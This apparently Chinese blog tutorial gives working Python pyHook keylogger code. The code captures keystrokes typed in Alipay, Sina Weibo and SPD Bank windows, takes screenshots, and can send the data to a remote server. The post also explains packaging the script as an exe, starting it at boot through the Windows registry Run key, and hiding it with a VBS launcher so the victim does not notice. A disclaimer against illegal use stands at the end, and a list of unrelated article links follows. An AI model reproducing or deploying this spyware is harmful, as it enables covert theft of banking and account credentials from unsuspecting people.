Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
python根据距离和时长计算配速示例
Feb 16 Python
Python cookbook(数据结构与算法)将名称映射到序列元素中的方法
Mar 22 Python
python使用turtle库绘制树
Jun 25 Python
Python解决两个整数相除只得到整数部分的实例
Nov 10 Python
Pandas操作CSV文件的读写实现方法
Nov 13 Python
python实现拼图小游戏
Feb 22 Python
Python3自动生成MySQL数据字典的markdown文本的实现
May 07 Python
django ObjectDoesNotExist 和 DoesNotExist的用法
Jul 09 Python
在Python3.74+PyCharm2020.1 x64中安装使用Kivy的详细教程
Aug 07 Python
Python类绑定方法及非绑定方法实例解析
Oct 09 Python
编写python代码实现简单抽奖器
Oct 20 Python
Python爬虫过程解析之多线程获取小米应用商店数据
Nov 14 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
PHP7 安装event扩展的实现方法
2019/10/08 PHP
JavaScript 对话框和状态栏使用说明
2009/10/25 Javascript
jQuery入门知识简介
2010/03/04 Javascript
JavaScript的事件绑定(方便不支持js的时候)
2013/10/01 Javascript
jQuery防止click双击多次提交及传递动态函数或多参数
2014/04/02 Javascript
JavaScript 变量、作用域及内存
2015/04/08 Javascript
浅谈javascript构造函数与实例化对象
2015/06/22 Javascript
jquery+css3问卷答题卡翻页动画效果示例
2016/10/26 Javascript
AngularJS $http模块POST请求实现
2017/04/08 Javascript
React-Router如何进行页面权限管理的方法
2017/12/06 Javascript
微信小程序之裁剪图片成圆形的实现代码
2018/10/11 Javascript
React 路由懒加载的几种实现方案
2018/10/23 Javascript
一篇文章弄懂javascript中的执行栈与执行上下文
2019/08/09 Javascript
解决vue scoped scss 无效的问题
2020/09/04 Javascript
python网络编程学习笔记(六):Web客户端访问
2014/06/09 Python
python实现linux下使用xcopy的方法
2015/06/28 Python
python操作xlsx文件的包openpyxl实例
2018/05/03 Python
python 读取文件并把矩阵转成numpy的两种方法
2019/02/12 Python
详解一种用django_cache实现分布式锁的方式
2019/09/01 Python
pyqt5、qtdesigner安装和环境设置教程
2019/09/25 Python
flask利用flask-wtf验证上传的文件的方法
2020/01/17 Python
python日期与时间戳的各种转换示例
2020/02/12 Python
Python实现多线程下载脚本的示例代码
2020/04/03 Python
vscode调试django项目的方法
2020/08/06 Python
python实现梯度下降算法的实例详解
2020/08/17 Python
Python如何急速下载第三方库详解
2020/11/02 Python
Python3+PyCharm+Django+Django REST framework配置与简单开发教程
2021/02/16 Python
HTML5 window/iframe跨域传递消息 API介绍
2013/08/26 HTML / CSS
世界各地的旅游、观光和活动:Isango!
2019/10/29 全球购物
如何现实servlet的单线程模式
2014/08/05 面试题
单位领导证婚词
2014/01/14 职场文书
大学生自我鉴定范文模板
2014/01/21 职场文书
销售业务员岗位职责
2015/02/13 职场文书
JavaScript 实现页面滚动动画
2021/04/24 Javascript
MySQL 十大常用字符串函数详解
2021/06/30 MySQL
AJAX实现省市县三级联动效果
2021/10/16 Javascript